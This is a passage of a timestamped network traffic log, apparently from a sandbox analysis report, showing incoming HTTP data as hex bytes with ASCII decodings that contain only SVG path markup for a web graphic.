d="M900.15,67.88a.67.67,0,0,1-.22.52.72.72,0,0,1-.53.2.68.68,0,0,1-.52-.21.
2023-05-31 12:52:10 UTC	6905	IN	Data Raw: 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 30 30 2e 31 31 2c 32 30 31 2e 37 32 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 41 32 2e 35 33 2c 32 2e 35 33 2c 30 2c 30 2c 31 2c 36 39 36 2c 32 30 33 61 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d Data Ascii: 51-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.86"></path><path class="cls-4" d="M700.11,201.72a1.73,1.73,0,0,1-.78,2.24A2.53,2.53,0,0,1,696,203a2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"></path><path class="cls-4" d="M
2023-05-31 12:52:10 UTC	6921	IN	Data Raw: 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 33 31 2e 35 37 2c 32 39 37 2e 38 34 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 33 31 2e 33 34 2c 32 39 30 2e 39 31 61 31 2e 37 Data Ascii: 0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"></path><path class="cls-4" d="M731.57,297.84a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.39,2.39,0,0,1,.52-2.88,2.24,2.24,0,0,1,2.89,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M731.34,290.91a1.7
2023-05-31 12:52:10 UTC	6937	IN	Data Raw: 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 34 39 2e 34 32 2c 32 30 30 2e 30 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 34 39 2e 31 39 2c 31 39 33 2e 31 32 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d Data Ascii: th><path class="cls-4" d="M749.42,200.06a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.11,2.11,0,0,1,.16,2.85"></path><path class="cls-4" d="M749.19,193.12a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-
2023-05-31 12:52:10 UTC	6953	IN	Data Raw: 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 38 30 2e 36 35 2c 32 38 39 2e 32 34 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 Data Ascii: ,1.72,0,0,1-.78,2.23,2.5,2.5,0,0,1-3.33-.94,2.37,2.37,0,0,1,.51-2.88,2.24,2.24,0,0,1,2.89,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M780.65,289.24a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2
2023-05-31 12:52:10 UTC	6969	IN	Data Raw: 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 39 38 2e 35 2c 31 39 31 2e 34 35 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 Data Ascii: .34-.94,2.41,2.41,0,0,1,.52-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"></path><path class="cls-4" d="M798.5,191.45a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"></path
2023-05-31 12:52:10 UTC	6985	IN	Data Raw: 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 30 2c 32 38 37 2e 35 37 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 32 39 2e 37 32 2c 32 38 30 2e 36 33 61 31 2e 37 32 2c 31 2e 37 Data Ascii: 0,1,2.89,0,2.11,2.11,0,0,1,.16,2.86"></path><path class="cls-4" d="M830,287.57a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"></path><path class="cls-4" d="M829.72,280.63a1.72,1.7
2023-05-31 12:52:10 UTC	7001	IN	Data Raw: 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 37 2e 38 31 2c 31 38 39 2e 37 39 41 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2c 38 34 37 2c 31 39 32 61 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 37 2e 35 37 2c 31 38 32 2e 38 35 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 31 Data Ascii: 0,1,.16,2.86"></path><path class="cls-4" d="M847.81,189.79A1.72,1.72,0,0,1,847,192a2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"></path><path class="cls-4" d="M847.57,182.85a1.73,1.73,0,0,1-.78,2.24,2.51
2023-05-31 12:52:11 UTC	7017	IN	Data Raw: 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 32 37 2c 32 38 35 2e 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2c 32 37 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 Data Ascii: s="cls-4" d="M879.27,285.9a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"></path><path class="cls-4" d="M879,279a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.5
2023-05-31 12:52:11 UTC	7033	IN	Data Raw: 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 39 36 2e 38 38 2c 31 38 31 2e 31 38 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 Data Ascii: 0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"></path><path class="cls-4" d="M896.88,181.18a1.72,1.72,0,0,1-.78,2.24,2.51,2.51,0,0,1-3.33-.94,2.39,2.39,0,0,1,.51-2.89,2.24,2.24,0,0,1,2.89,0
2023-05-31 12:52:11 UTC	7049	IN	Data Raw: 2d 33 2e 33 34 2d 31 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 38 2e 33 35 2c 32 37 37 2e 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 Data Ascii: -3.34-1,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M928.35,277.3a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"></path><p
2023-05-31 12:52:11 UTC	7065	IN	Data Raw: 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 33 38 2e 32 31 2c 32 39 33 2e 32 34 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 33 38 2e 34 34 2c 33 30 30 2e 30 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 Data Ascii: 0,0,1-.16-2.82"></path><path class="cls-4" d="M1038.21,293.24a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M1038.44,300.07a1.7,1.7,0,0,1,.77-2.2,2.47
2023-05-31 12:52:11 UTC	7081	IN	Data Raw: 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 30 37 2e 34 35 2c 32 30 35 2e 34 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 30 37 2e 36 39 2c 32 31 32 2e 32 34 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d Data Ascii: cls-4" d="M1007.45,205.41a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"></path><path class="cls-4" d="M1007.69,212.24a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-
2023-05-31 12:52:11 UTC	7097	IN	Data Raw: 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 37 36 2e 39 33 2c 31 32 34 2e 34 32 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 37 37 2e 31 36 2c 31 33 31 2e 32 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 Data Ascii: .08,0,0,1-.15-2.81"></path><path class="cls-4" d="M976.93,124.42a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.38,2.38,0,0,1-.51,2.85,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"></path><path class="cls-4" d="M977.16,131.24a1.7,1.7,0,0,1,.77-2.2,2.4
2023-05-31 12:52:11 UTC	7113	IN	Data Raw: 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 35 39 2e 38 32 2c 32 33 34 2e 33 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d Data Ascii: -.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M959.82,234.37a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M
2023-05-31 12:52:11 UTC	7129	IN	Data Raw: 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 39 2e 33 2c 31 35 33 2e 33 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c Data Ascii: ,1,3.29.93,2.37,2.37,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"></path><path class="cls-4" d="M929.3,153.37a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"></path><
2023-05-31 12:52:11 UTC	7145	IN	Data Raw: 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 31 32 2e 31 38 2c 32 36 33 2e 33 33 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 31 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c Data Ascii: 2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"></path><path class="cls-4" d="M912.18,263.33a1.71,1.71,0,0,1,.77-2.21,2.49,2.49,0,0,1,3.29.93,2.37,2.37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,
2023-05-31 12:52:11 UTC	7161	IN	Data Raw: 4d 38 38 31 2e 34 33 2c 31 37 35 2e 35 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 38 31 2e 36 36 2c 31 38 32 2e 33 33 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c Data Ascii: M881.43,175.5a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"></path><path class="cls-4" d="M881.66,182.33a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,
2023-05-31 12:52:11 UTC	7177	IN	Data Raw: 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 36 34 2e 33 31 2c 32 38 35 2e 34 35 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 36 34 2e 35 34 2c 32 39 32 2e 32 38 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 